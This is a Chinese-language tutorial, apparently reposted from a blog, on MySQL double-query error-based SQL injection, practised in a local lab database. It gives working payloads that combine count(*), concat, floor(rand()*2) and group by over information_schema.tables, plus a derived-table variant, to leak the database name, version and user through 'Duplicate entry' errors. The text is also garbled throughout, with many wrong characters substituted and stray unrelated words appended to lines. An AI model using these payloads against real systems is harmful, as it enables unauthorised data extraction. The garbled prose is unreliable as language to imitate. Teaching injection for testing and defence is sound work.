上一篇文章中,http://leaver.me/archives/2726.htmlhtml
我说双查询很难讲清楚,此次就试着讲一下。读了一些原理性的东西。而后尽可能通俗的给你们讲清楚。。mysql
在此以前,咱们理解一会儿查询,查询的关键字是select,这个你们都知道。子查询能够简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。sql
看一个简单的例子:数据库
Select concat((select database()));
真正执行的时候,先从子查询进行。所以执行select database() 这个语句就会把当前的数据库查出来,而后把结果传入到concat函数。这个函数是用来链接的。好比 concat(‘a’,’b’)那结果就是ab了。服务器
原理:ide
双注入查询须要理解四个函数/语句
1. Rand() //随机函数
2. Floor() //取整函数
3. Count() //汇总函数
4. Group by clause //分组语句函数
简单的一句话原理就是有研究人员发现,当在一个聚合函数,好比count函数后面若是使用分组语句就会把查询的一部分以错误的形式显示出来。测试
以本地一个名为Security的数据库为例
首先在bt5下的命令行下输入spa
mysql -u root –p toor
就会链接上数据库了。
而后经过use security; 就能够切换到security数据库了。由于一个服务器上可能有多个数据库嘛。命令行
而后咱们执行一下前面那个简单的子查询的例子
SELECT concat((select database()));
就能显示security,也就是显示了当前数据库的名字了。
而后咱们测试一下concat的用法。输入
SELECT concat('string1','string2');
显然结果就是string1string2了
Select rand();
咱们多执行几回
能够看到,这个函数就是返回大于0,小于1之间的数
而后看看取整函数
Select floor(1.1123456);
而后咱们看看双注入查询中的一个简单组合。你们从个人上一篇文章中应该也看到了有一个子查询是
SELECT floor(rand()*2);
咱们从里向外看。rand() 返回大于0小于1的小数,乘以2以后就成了小于0小于2了。而后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0
咱们稍微加大一点难度。看这个查询
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。而后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.而后把这两个的结果进行concat链接,那么结果不是security0就是security1了。
若是咱们把这条语句后面加上from 一个表名。那么通常会返回security0或security1的一个集合。数目是由表自己有几条结果决定的。好比一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,因此返回了13条
若是是从information_schema.schemata里,这个表里包含了mysql的全部数据库名。这里本机有三个数据库。因此会返回三个结果
如今咱们准备加上Group By 语句了。
咱们使用information_schema.tables 或 information_schema.columns者两个表来查询。由于表里面通常数据不少。容易生成不少的随机值,不至于所有是security0,这样就不能查询出结果了。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
这里我先解释一下。咱们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,而后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。
注意。这里的database()能够替换成任何你想查的函数,好比version(), user(), datadir()或者其余的查询。好比查表啊。查列啊。原理都是同样的。
最后的亮点来了。。
咱们输入这条:注意多了一个聚合函数count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
报错了
ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’
重复的键值 能够看到security就是咱们的查询结果了
想要查询版本就这样:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
报错
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'
这里的~这个符号只是为了让结果更清晰。
这里还有一个比较复杂的。叫作派生表。须要使用
select 1 from (table name); 这样的语法来报错,具体就是
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
来报错。
你们能够对照我上一篇文章来看。相信讲的还算清楚。
原文地址:详细讲解双查询注入, 感谢原做者分享。